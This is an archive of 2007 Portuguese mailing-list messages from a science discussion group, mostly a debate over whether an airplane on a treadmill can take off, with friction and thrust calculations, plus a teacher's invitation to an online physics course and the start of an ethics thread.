Fr = m.g.[cr+3,24.crf.(V/100)^2,5)
Fr = 560000.10.[0,0075+0,0025.3,24.(372,83/100)^2,5)
Fr = 1.259.387,84 N

(sem correção de temperatura)

Para comparação, o empuxo de decolagem de um GP7270 é de 311.000 N
[1], com os quatro q equipa um A380, são 1.244.000 N

[1] http://www.mtu.de/channel/files/pdf/brochure_gp7000.pdf"

O q corresponde a mais de 100% do impulso. Nem de longe irrelevante.
Se a temperatura do ar for maior do q 27oC, o atrito esperado é ainda
maior. Se de 30oC, será cerca de 3% maior.

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/03/2007 01:12

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> O q corresponde a mais de 100% do impulso.

Do *empuxo* e não impulso.

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/03/2007 01:12

Olá Takata

Takata: "Nope. Eu fiz as contas para um A380.
"Aplicando-se diretamente a equação a um Airbus A380 com massa de 560
toneladas a 300 km/h, teremos uma resistência à rolagem de:"

Embora eu confie em você, e em sua capacidade de fazer as contas,
gostaria de ve-las confirmadas por outros, pois ainda me parece que
está exagerando na capacidade de um atrito em rolamentos (e no "coelho
na cartola" que tirou com a deformação do pneu). E muito.

Ainda assim, um Aibus 380 NÃO é a aeronave padrão que esperariamos
encontrar em um exemplo hipotético e mental, mas os infinitamente mais
comuns Cesnas, Paulistinha e learjets.

Que, com peso MUITO menor que o Airbus, não apresentam atrito e
resistência devido a deformação significantes.

Faça um teste, calcule para um Cesna e veja no que resulta.

Além do peso menor, a velocidade é menor, o número de rodas é menor (e
mais uma coisa que NÃO está no enunciado, quantas rodas) e o resultado
será bem diferente.

Insisto, para as velocidades envolvidas, em aeronaves padrão, e em
condições indeterminadas (e não Airbus 380 com dezenas de rodas), é
irrelevante.

E insisto, está "brincando" com o enunciado, que não pretendia em
nenhum momento que quem se dispusesse a responder fosse um
"especialista" em aviões, rolamentos, física do atrito, deformação de
pneu, etc, mas simplesmente que avaliasse se, a simples rolagem de uma
esteira, nas velocidade de decolagem normais para a maioria das
aeronaves (que NÃO são Aibuses) poderia compensar o movimento do avião
para frente. Não pode.

Para ser "crica", o nível de atrito que sugere destruiria os
rolamentos, e não seria atingido em uma situação real. Nesse caso,
destruídos os rolamentos, o avião "deslizaria" pelo solo ou pela
esteira, com atrito apenas no que restasse dos suportes, e decolaria
com "eskis" improvisados.

O avião, até o Airbus, decola, com rodas ou com eskis.

Gostaria que detalhasse esta equação, para sabermos que valores está
usando e de onde eles foram tirados:

Fr = m.g.[cr+3,24.crf.(V/100)^2,5)

E deve se lembrar que muito antes de atingir a velocidade que geraria
o pretenso atrito, o avião já teria decolado.

Um abraço.

Homero




SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/03/2007 01:44

Olá pessoal

Eu descobri as datas em que essa mesma discussão, sobre a esteira e o
avião, foi debatida aqui na lista. E ocorreu o mesmo que agora, com
alguns listeiros alegando que o avião não decolava, muitas
explicações, e finalmente todos compreenderam a pegadinha, a intenção
do enunciado (que NÃO era conseguir um especialista em atrito de
rolamentos e sistemas aeronauticos para Airbus 380), e que o avião
decolava sem problemas.

Menos o Jose Renato, claro, que também da outra vez insistia contra
tudo e todos que a esteira "levava" o avião para trás, simplesmente
por girar ao contrário.

Nas mensagens encontrei os exemplos da esteira, das malas, tudo como
agora (menos os coelhos das cartolas do Takata), inclusive a conversão
do Leo, ao perceber o furo da posição que adotou inicialmente, a não
decolagem.

O enunciado pretende saber como nossa mente encara a esteira em
relação a rodas livres, e não qual o atrito de rolamentos capaz de
parar o avião gigantesco em alta velocidade. Não é um tratado
aeronáutico, e muito provavelmente o autor do enunciado teria definido
o atrito como zero, se conhecesse o Takata..:-)

Esta mensagem abaixo, do Leo, inclusive começa como muitas das minhas
mensagens recentes, considerando que o Jose Renato nunca iria entender
que NÃO são as rodas que movem o avião. Na verdade, poderia ser uma
das minhas atuais..:-)

http://br.groups.yahoo.com/group/ciencialist/message/53065

As mensagens começam neste link, e podem ser acompanhadas a partir
dele. É interessante notar como se reproduziu exatamente a mesma
seqüencia deste novo debate, menos o Takata (que achou novos coelhos
na cartola desta vez):

http://br.groups.yahoo.com/group/ciencialist/message/52904

Neste link abaixo há uma discussão sobre o problema, que também
conclui que o avião decola sem problemas:

http://www.straightdope.com/columns/060203.html

Enfim, a resposta "óbvia" está errada, porque assume a tração das
rodas, coisa cotidiana, e esquece que aviões tem propulsores que não
dependem das rodas.

Todos os sites que encontrei com analises do problema, presumem o
atrito como desprezível, sendo essa a intenção do autor e do problema.
Nenhum deles tirou o "coelho da cartola" de rolamentos e deformação de
pneus, pois não era a função do problema. Todos, sem exceção, alertam
para o fato de que não há tração nas rodas, e o avião não depende
disso para se mover.

Um deles tem um interessante comentário a proposição do enunciado: se
este pode considerar uma "esteira perfeita", ele pode considerar
"rolamentos perfeitos". Ou seja, sem atrito, pois considerando sua
função, é isso que um rolamento perfeito faz.

É uma "pegadinha", não um tratado sobre rolamentos e aeronautica.

Um abraço.

Homero




SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/03/2007 01:49

Olá Takata

Takata: "Do *empuxo* e não impulso."

Isso me lembrou que o empuxo é constante, mas aplicado ao avião parado
tem efeito diferente de aplicado a este já em alta velocidade (por
isso podemos mudar de marchas no carro, pois é preciso menos "torque"
quando já estamos em alta velocidade, para manter o carro em movimento).

Assim, no início do movimento do avião e da esteira, com atrito
desprezível, o empuxo vai colocar o avião em movimento e em
velocidade. Quando a velocidade for suficiente para gerar algum atrito
significativo, o avião estará em alta velocidade e sua inércia e
movimento se somarão ao empuxo, impedindo que este atrapalhe a decolagem.

O avião decola, Takata, até o Airbus 380, me parece.

Um abraço.

Homero





SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/03/2007 01:53

Olá pessoal

Um comentário interessante, e bem ponderado, sobre o problema em questão.

Homero
_____________________________________
Sure you're getting loads of these, but it's fun to see how even
the scientists don't get the puzzle. Here's my attempt at ending the
constant round and round in circles nature of the discussion.The
problem lies in that the question can be interpreted in (I count) 4
different ways. All the time that people refuse to agree on an
interpretation, their answers will never agree. It's a classic case of
a car painted green on one side and blue on the other getting into a
crash, and the witnesses all fail to agree on what colour it is so the
case gets dismissed. The 4 interpretations I can see are as follows:1)
Could a plane take off without moving relative to the ground?Simple
answer: yes, providing there's sufficient headwind or it's a Harrier
(a Harrier IS a kind of plane, so it's not outside the parameters set
by the question). Wouldn't necessarily be a smooth takeoff, or
recommended at all, but under such circumstances, the treadmill is a
red herring. The plane just needs to be locked to the spot.2) In real
life, would the thrust created by a plane's engine overcome the
counter forces of a treadmill on free spinning wheels (enough that the
plane could take off)?Simple answer: yes, in principle. However fast
the treadmill turns, the wheels will just turn faster until there's
sufficient speed to take off because thrust is produced by something
other than the wheels. The problem is that this ignores the only
condition the question sets. For the aircraft to proceed forwards, the
wheels of the aircraft would have to spin faster than the treadmill,
something that the question specifically states cannot happen. You're
answering a similar, but ultimately different question. (Some argue
that the question has been "poorly" worded. I think on the contrary
it's been intentionally worded this way).3) Could the thrust of the
engine overcome the friction of the tires?Simple answer: depends. *If
the treadmill really is as the question states*, then no amount of
thrust will cause either the wheels to turn or the treadmill to move.
Some think that they will both start spinning uncontrollably, but this
will not happen. They will not move. So again, the treadmill is a red
herring that would create the exact same effect as locking the wheels
so they cannot turn. Whether or not the force of the engines could
push the plane down the runway against the friction of the non-turning
tires and gather sufficient lift to take off without the tires
bursting, the undercarriage breaking off, and the plane exploding as
it slides down the runway on its belly, will depend on a large number
of unspecified factors. Scientists would need to know these things to
determine the answer.4) Is such a treadmill possible?Simple answer:
no. The question doesn't specify that the wheels of the plane have
been modified in any way, or that the wheels are directly connected to
the driveshaft of the treadmill, so the only way such a treadmill
could be buil t is if it senses the movement of the wheels and then
attempts to mimic them. There would be a delay, and in trying to catch
up, it would cause the wheels to spin ever faster. There'd always be a
difference in the speed of the wheels and the speed of the treadmill,
which would exactly coincide with the speed of the plane moving down
the runway. Again, we're talking about different circumstances to the
ones outlined.As whatever way you look at it, it's a trick question,
the only way to win is not to play! Doh... too late!



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/03/2007 02:02

Olá pessoal

Esta a seguir é a resposta de um especialista aeronautico da
Aero/Astro (Aeronautical and Astronautical Engineering), George
Springer, que praticamente repete os exemplos e argumentos que já
vimos. Ele afirma, com certeza derivada de sua especialidade, que:

"Unless the wheels are locked, the friction is always going to be less
than the thrust, which means that the overall force is still forward,
and the plane will still move."

E o avião decola..:-)

Um abraço.

Homero
_____________________________________________
The problem here, of course, is that the poster (and Neal) cannot
disengage themselves from seeing the airplane as a car. The difference
between a car and a grounded airplane is that a car uses its wheels to
propel itself forward, and an airplane moves itself forward by moving
air. They assume that the runway moving backwards would move the plane
backwards. This is what would happen with a car (that is in gear), so
why not for an airplane? Well, because an airplane's wheels are free
rolling. There is obviously some friction, so there would be some
small backwards force, but it would be infinitely small as compared to
the forward thrust of the airplane.

You can test this with a piece of paper and a matchbox car (which has
free rolling wheels like an airplane… or like a car in neutral.) Place
the paper on a table, and place the matchbox car on the paper. Take
your hand, and hold the car still with a lightly placed finger on top
of the car. At this point you are providing no forward thrust, and the
"conveyor belt" is not moving. The car remains stationary. Now,
continuing to hold the airplane with a lightly placed finger, and
start to pull the paper out from under the car, in the backwards
direction. According to Neal's logic, the car should push back on your
finger with the same force that you are exerting on the paper… but
this is not what will happen. You will find that your lightly placed
finger is not stressed to any noticeable extent. The paper will slide
out, and the wheels will spin, but the car will not be propelled
backwards. The reason for this is is that the rotation of the wheels
is not related to the movement of the matchbox car except by the very
small friction component of the axle, which your lightly placed finger
can easily control.

So now we have established that movement of the surface beneath a free
wheeling object does not exert a noticeable force on the object. Next,
we'll see what happens when the object is trying to move forward.
Attach a string to the matchbox car. Place the car at one end of the
paper, and use the string to start pulling the car forward with a
steady force. As the car moves forward, start pulling the paper out
from under the car, backwards. Do you feel increased resistance as you
pull the string? Of course not. The wheels are free rolling! Spinning
the wheels does not make the object move!

When an airplane takes off, there is one major forward force… the
forward thrust. The main rearward force is air resistance. The turning
of the wheels provides a small frictional force, but because the
wheels are free-rolling, this friction is very small. Unless the
wheels are locked, the friction is always going to be less than the
thrust, which means that the overall force is still forward, and the
plane will still move.



SUBJECT: Convite às cobaias
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/03/2007 02:33

Queridos cobaias, digo, amigos,

Estou experimentando fazer um curso virtual como parte do meu curso de
Física "normal" (presencial) para os alunos do primeiro ano do Ensino
Médio de uma escola pública. Preciso de cobaias, digo, "alunos" para
me oferecerem opiniões "maduras" que eu possa contrapor às possíveis
opiniões dos alunos.

O curso está iniciando agora e, "hipoteticamente", irá até o final do ano.

Para acessá-lo e se inscrever nele, acesse o endereço
http://www.profjc.net/moodle

Para não criar muita confusão "no ambiente dos alunos", solicito a
gentileza de me enviarem observações, sugestões e críticas em PVT, no
meu e-mail profjc@gmail.com ou pelo e-mail de contato do curso.

O público-alvo do curso são alunos da rede pública e o objetivo do
curso é oferecer referências textuais mais ricas. O curso não está
voltado à uma preparação para "vestibulares", não segue a programação
"costumeira" dos livros didáticos e nem pretende esgotar os conteúdos
dos tópicos abordados (mesmo porque ele é um curso "paralelo" ao curso
presencial normal).

Agradeço a colaboração de quem tiver um tempinho para participar dele.
Obviamente o curso é "de grátis".

Abraços,
Prof. JC



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/03/2007 02:46

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Embora eu confie em você, e em sua capacidade de fazer as contas,
> gostaria de ve-las confirmadas por outros

*Vc* mm pode fazer as contas. A fórmula e os valores das constantes e
variáveis foram dados, bem como as fontes. (Cuidado para converter a
velocidade em milhas por hora.)

> Que, com peso MUITO menor que o Airbus, não apresentam atrito e
> resistência devido a deformação significantes.

O peso em si não diz muita coisa. O q importa é a relação:
massa-empuxo. Para esses casos, a relação para o Cessna é favorável e
vários aviões de pequeno porte. (Embora eu não considerasse isso como
*o* normal. A primeira idéia de avião q me vem à cabeça é o bendito
Jumbo.)

> Além do peso menor, a velocidade é menor, o número de rodas é menor
> (e mais uma coisa que NÃO está no enunciado, quantas rodas) e o
> resultado será bem diferente.

O número de rodas não entra no cálculo. (Embora eu tenha me deparado
com uma fórmula q considerava o número de rodas.)

> Insisto, para as velocidades envolvidas, em aeronaves padrão, e em
> condições indeterminadas (e não Airbus 380 com dezenas de rodas), é
> irrelevante.

Condições *determinadas* - por isso vc precisa excluir o A380.

> E insisto, está "brincando" com o enunciado, que não pretendia em

Ué, todo mundo está.

> pneu, etc, mas simplesmente que avaliasse se, a simples rolagem de
> uma esteira, nas velocidade de decolagem normais para a maioria das
> aeronaves (que NÃO são Aibuses) poderia compensar o movimento do
> avião para frente. Não pode.

Ou então para avaliar se o aumento da velocidade proporciona um
aumento considerável de atrito - proporciona.

> Para ser "crica", o nível de atrito que sugere destruiria os
> rolamentos, e não seria atingido em uma situação real.

Tem q ser crica com tudo ou apresentar um critério convincente. Senão
é seleção de dados. Se for crica com tudo, não se examina a questão.
Um bom critério é: examinem-se as condições normais, alterando-se
apenas o q o enunciado explicitamente exige.

> Nesse caso, destruídos os rolamentos, o avião "deslizaria" pelo solo
> ou pela esteira, com atrito apenas no que restasse dos suportes, e
> decolaria com "eskis" improvisados.

Aí o atrito seria AINDA maior.

> O avião, até o Airbus, decola, com rodas ou com eskis.

Desde q não tenha uma esteira a 300 km/h.

> Gostaria que detalhasse esta equação, para sabermos que valores está
> usando e de onde eles foram tirados:
>
> Fr = m.g.[cr+3,24.crf.(V/100)^2,5)

Eu dei a fonte da fórmula e os valores das constantes em:
http://br.groups.yahoo.com/group/ciencialist/message/61492

Dado sobre o empuxo em:
http://br.groups.yahoo.com/group/ciencialist/message/61508

> E deve se lembrar que muito antes de atingir a velocidade que
> geraria o pretenso atrito, o avião já teria decolado.

A velocidade usada é a velocidade de decolagem do A380. Foi
arredondado de:
http://www.ecac-ceac.org/nla-forum/IMG/pdf/Jet_blast_tests_report_V1R0.pdf

E tb pela notícia:
http://tech.monstersandcritics.com/news/article_6077.php/First_Take-off_Of_Airbus_A380_Due_in_8_Days

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/03/2007 02:59

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> significativo, o avião estará em alta velocidade e sua inércia e
> movimento se somarão ao empuxo, impedindo que este atrapalhe a
> decolagem.

Como diria o Prof. Leo, não se soma inércia (medida em massa) e
velocidade (medida em metros por segundo) ao empuxo (medido em newtons)...

Se o avião não tiver empuxo, o avião pára - devido ao atrito com o ar
e com o solo.

Por isso estava discutindo primeiro q o avião - a qq potência fixa -
entra em MRU. O propulsor "apenas" compensa a energia dissipada pelo
atrito. Por isso o avião tem uma velocidade máxima.

Por isso q eu queria ir em etapas. Se uma parte não fica bem
compreendida, análise qualitativa sem mensuração acaba atrapalhando -
por super ou subdimensionar um efeito.

[]s,

Roberto Takata



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/03/2007 03:09

Bem, descartando-se os itens 1 e 4, na 2 - na qual o avião decola - o
cara aceita q NÃO é o q enunciado diz, e na 3 - ele diz "depende".

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Um comentário interessante, e bem ponderado, sobre o problema em
> questão.
>
> Homero
> _____________________________________
> the spot.2) In real life, would the thrust created by a plane's
> engine overcome the counter forces of a treadmill on free spinning
> wheels (enough that the plane could take off)?Simple answer: yes, in
> principle. However fast the treadmill turns, the wheels will just
> turn faster until there's sufficient speed to take off because
> thrust is produced by something other than the wheels. The problem
> is that this ignores the only condition the question sets. For the
> aircraft to proceed forwards, the wheels of the aircraft would have
> to spin faster than the treadmill, something that the question
> specifically states cannot happen. You're answering a similar, but
> ultimately different question. (Some argue that the question has
> been "poorly" worded. I think on the contrary it's been
> intentionally worded this way).3) Could the thrust of the engine
> overcome the friction of the tires?Simple answer: depends. *If
> the treadmill really is as the question states*, then no amount of
> thrust will cause either the wheels to turn or the treadmill to
> move. Some think that they will both start spinning uncontrollably,
> but this will not happen. They will not move. So again, the
> treadmill is a red herring that would create the exact same effect
> as locking the wheels so they cannot turn. Whether or not the force
> of the engines could push the plane down the runway against the
> friction of the non-turning tires and gather sufficient lift to take
> off without the tires bursting, the undercarriage breaking off, and
> the plane exploding as it slides down the runway on its belly, will
> depend on a large number of unspecified factors. Scientists would
> need to know these things to determine the answer.




SUBJECT: Re: [ciencialist] P/ Takata - O avião decola mesmo!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/03/2007 06:23

Fiz uma figura para ilustrar a questão; está em:

http://www.feiradeciencias.com.br/provisorio/aviao.jpg

Acredito que, com isso fica sanada a dúvida de que se a esteira se move sempre com a mesma velocidade do avião e em sentidos opostos, OBRIGATORIAMENTE o avião deve se mover (em relação ao solo) com a mesma velocidade (em módulo) que a esteira.

A primeira figura indica um sistema de esteira contínua acionada por motor (que tem o tal sensor de controle de velocidade da correia). Se o ponto P' na correia se move para a direita, o ponto P da correia se desloca para a esquerda, ambos em relação ao solo, com mesma velocidade em módulo.

A parte superior da correia será presa ao trem de aterrissagem do avião; isso garante que o avião sempre terá mesma velocidade da correia e sentido oposto.

Assim, fica fácil de se ver que obrigatoriamente o avião se desloca para a frente com velocidade V, igual e oposta à parte inferior da correia que toca o solo.

A roda não interessa, é apenas para garantir a força normal que equilibra o peso; não realiza trabalho (força perpendicular ao deslocamento).

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 7 de março de 2007 03:09
Assunto: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira


Bem, descartando-se os itens 1 e 4, na 2 - na qual o avião decola - o
cara aceita q NÃO é o q enunciado diz, e na 3 - ele diz "depende".

[]s,

Roberto Takata




SUBJECT: Re: [ciencialist] Convite às cobaias
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/03/2007 06:37

Olá JC, (e, como sempre, et al)

vou entrar lá e dedicar 'um tempinho' para isso. Mas, devo avisá-lo, faço-o com 'primeiras e segundas intenções'. A 'primeira' é aprender (nunca poderia descartar isso!); a 'segunda' é que estou (já faz bom tempo) preparando um livro didático de Física com o título "A Física Fora do Vestibular" (ou algo equivalente).
A abordagem nem de longe pensa em termos de vestibular, é conceituação pura acompanhando experimentos simples e questões abertas (não haverá um só teste de fazer cruzinhas nesse livro). Em suma, tentarei dar uma melhorada (atualizada) na Física que aprendi em meu "Curso Científico" --- hoje seria, se mantivesse a postura e nível, o Ensino Médio ---. Um dia terei o meu "Mãe Benta" da Física.... espero!

aquele abraço,

e, bom sucesso!
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Carlos Antonio" <profjc2003@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 7 de março de 2007 02:33
Assunto: [ciencialist] Convite às cobaias


Queridos cobaias, digo, amigos,

Estou experimentando fazer um curso virtual como parte do meu curso de
Física "normal" (presencial) para os alunos do primeiro ano do Ensino
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SUBJECT: Re: [ciencialist] Convite às cobaias
FROM: Aline Santos <haline_santos@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/03/2007 08:51

Prof. JC,
pode contar comigo!!! A separei um tempinho na minha agenda rsrsrs
Concerteza vai ser muito útil relembrar estes conceitos!!!!
e Parabéns pela iniciativa!

Abraços

Aline

Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
Olá JC, (e, como sempre, et al)

vou entrar lá e dedicar 'um tempinho' para isso. Mas, devo avisá-lo, faço-o com 'primeiras e segundas intenções'. A 'primeira' é aprender (nunca poderia descartar isso!); a 'segunda' é que estou (já faz bom tempo) preparando um livro didático de Física com o título "A Física Fora do Vestibular" (ou algo equivalente).
A abordagem nem de longe pensa em termos de vestibular, é conceituação pura acompanhando experimentos simples e questões abertas (não haverá um só teste de fazer cruzinhas nesse livro). Em suma, tentarei dar uma melhorada (atualizada) na Física que aprendi em meu "Curso Científico" --- hoje seria, se mantivesse a postura e nível, o Ensino Médio ---. Um dia terei o meu "Mãe Benta" da Física.... espero!

aquele abraço,

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
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-----Mensagem Original-----
De: "José Carlos Antonio"

Para:
Enviada em: quarta-feira, 7 de março de 2007 02:33
Assunto: [ciencialist] Convite às cobaias


Queridos cobaias, digo, amigos,

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"costumeira" dos livros didáticos e nem pretende esgotar os conteúdos
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Abraços,
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SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/03/2007 14:05

Olá Takata

Takata: "Bem, descartando-se os itens 1 e 4, na 2 - na qual o avião decola - o
cara aceita q NÃO é o q enunciado diz, e na 3 - ele diz "depende"."

Exato, foi o que gostei neste texto. Ele demonstra como é possível do mesmo enunciado, lidar com diferentes angulos da questão. E que a função do teste é mais verificar nossa dificuldade de lidar com a esteira do que saber mais sobre atrito de rolamentos aeronauticos.

Questões similares, mas diferentes na forma de lidar com o enunciado. E certamente não é um enunciado real, para ser tomado de forma concreta, mas um tipo de pegadinha, sendo a esteira um "red hering", uma distração que confunde nossa mente a partir do bom senso.

Uma esteira de 2 quilometros teria muito mais problemas que os rolamentos, e dificilmente, se não de forma alguma, seria acelerada para compensar a aceleração de um Airbus ou de um jato de caça. É uma esteira, evidentemente, impossível, ideal, como os rolamentos do avião sobre ela. E para rolamentos ideais, de atrito zero, já concordamos que o avião decola sem problemas.

Um abraço.

Homero



----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, March 07, 2007 3:09 AM
Subject: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira


Bem, descartando-se os itens 1 e 4, na 2 - na qual o avião decola - o
cara aceita q NÃO é o q enunciado diz, e na 3 - ele diz "depende".

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@...>
> Um comentário interessante, e bem ponderado, sobre o problema em
> questão.
>
> Homero
> _____________________________________
> the spot.2) In real life, would the thrust created by a plane's
> engine overcome the counter forces of a treadmill on free spinning
> wheels (enough that the plane could take off)?Simple answer: yes, in
> principle. However fast the treadmill turns, the wheels will just
> turn faster until there's sufficient speed to take off because
> thrust is produced by something other than the wheels. The problem
> is that this ignores the only condition the question sets. For the
> aircraft to proceed forwards, the wheels of the aircraft would have
> to spin faster than the treadmill, something that the question
> specifically states cannot happen. You're answering a similar, but
> ultimately different question. (Some argue that the question has
> been "poorly" worded. I think on the contrary it's been
> intentionally worded this way).3) Could the thrust of the engine
> overcome the friction of the tires?Simple answer: depends. *If
> the treadmill really is as the question states*, then no amount of
> thrust will cause either the wheels to turn or the treadmill to
> move. Some think that they will both start spinning uncontrollably,
> but this will not happen. They will not move. So again, the
> treadmill is a red herring that would create the exact same effect
> as locking the wheels so they cannot turn. Whether or not the force
> of the engines could push the plane down the runway against the
> friction of the non-turning tires and gather sufficient lift to take
> off without the tires bursting, the undercarriage breaking off, and
> the plane exploding as it slides down the runway on its belly, will
> depend on a large number of unspecified factors. Scientists would
> need to know these things to determine the answer.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] P/ Takata - O avião decola mesmo!
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/03/2007 14:30

Léo,

Simples assim. Num e-mail anterior apontei(depois de primeiro cair na pegadinha) que um simples raciocínio usando os conceitos de velocidade relativa, galileana mesmo, resultava que a velocidade do eixo das rodas do avião, em relação ao solo, era igual à velocidade da esteira, mas em sentido contrário, segundo o enunciado do problema. Em minha opinião não precisava mais do que aquele "cálculo", para encerrar a questão, e evitar que o avião, antes de decolar, gastasse seus pneuzinhos. Resultado: como não deixavam ele decolar, ele queria, mas não deixavam, os pneus acabaram ficando carecas, e 1000 de combustível foram gastos. Aí veio o Léo e mostrou o pau que matou a cobra. Finalmente, o avião decolou. E todos foram felizes para sempre.

Sds,
Victor.



----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, March 07, 2007 6:23 AM
Subject: Re: [ciencialist] P/ Takata - O avião decola mesmo!


Fiz uma figura para ilustrar a questão; está em:

http://www.feiradeciencias.com.br/provisorio/aviao.jpg

Acredito que, com isso fica sanada a dúvida de que se a esteira se move sempre com a mesma velocidade do avião e em sentidos opostos, OBRIGATORIAMENTE o avião deve se mover (em relação ao solo) com a mesma velocidade (em módulo) que a esteira.

A primeira figura indica um sistema de esteira contínua acionada por motor (que tem o tal sensor de controle de velocidade da correia). Se o ponto P' na correia se move para a direita, o ponto P da correia se desloca para a esquerda, ambos em relação ao solo, com mesma velocidade em módulo.

A parte superior da correia será presa ao trem de aterrissagem do avião; isso garante que o avião sempre terá mesma velocidade da correia e sentido oposto.

Assim, fica fácil de se ver que obrigatoriamente o avião se desloca para a frente com velocidade V, igual e oposta à parte inferior da correia que toca o solo.

A roda não interessa, é apenas para garantir a força normal que equilibra o peso; não realiza trabalho (força perpendicular ao deslocamento).

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 7 de março de 2007 03:09
Assunto: [ciencialist] P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira

Bem, descartando-se os itens 1 e 4, na 2 - na qual o avião decola - o
cara aceita q NÃO é o q enunciado diz, e na 3 - ele diz "depende".

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Takata - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 07/03/2007 14:38

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> É uma esteira, evidentemente, impossível, ideal, como os rolamentos
> do avião sobre ela. E para rolamentos ideais, de atrito zero, já
> concordamos que o avião decola sem problemas.

Um rolamento ideal não precisa ser um de atrito zero. Do contrário
poderíamos fazer tudo ser ideal e, nesse caso, pra começar, não
haveria nada além de hidrogênio e hélio - ou nem isso. Sem atrito, as
peças do avião não seriam fixadas, o piloto não conseguiria manobrar
os comandos, etc.

Um bom critério é: idealize o menos possível - somente a respeito do q
o enunciado explicitamente pede. Além disso, atrito de rolagem é um
componente considerado mm nos exercícios teóricos de decolagem.

Uma boa resposta para a pergunta é: depende.

[]s,

Roberto Takata



SUBJECT: Fw: [ciencialist] Crueldade com animais
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 07/03/2007 16:24

Ol�, Chic�o! Aqui vai minha resposta �s suas coloca��es, postada no dia 3 de mar�o s� que para o grupo Acropolis!
Agrade�o pelo interesse e cobran�a, sem os quais eu n�o teria percebido o meu erro no envio.
Abra�os
Jos� Renato
.............................................

Ol�, Chic�o! Seus �ltimos coment�rios est�o ap�s C1 -. Fa�o os meus ap�s JR1 -, OK?

From: "Chicao Valadares" <chicaovaladares@
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, February 28, 2007 6:57 PM
Subject: Re: [ciencialist] Crueldade com animais

C - Rapaz, o que eu estou querendo s�o princ�pios que motivam essas coisas. O que � justi�a?? O que � racionalidade? ?? Voasse fala que � bom , justo e racional sem explicar o porqu�. N�o somos mais crian�as e nem somos religiosos para dividir as coisas simplesmente em bem e mal. Eu aposto que voc� segue as regras sem entender EXATAMENTE por quais motivos a segue.

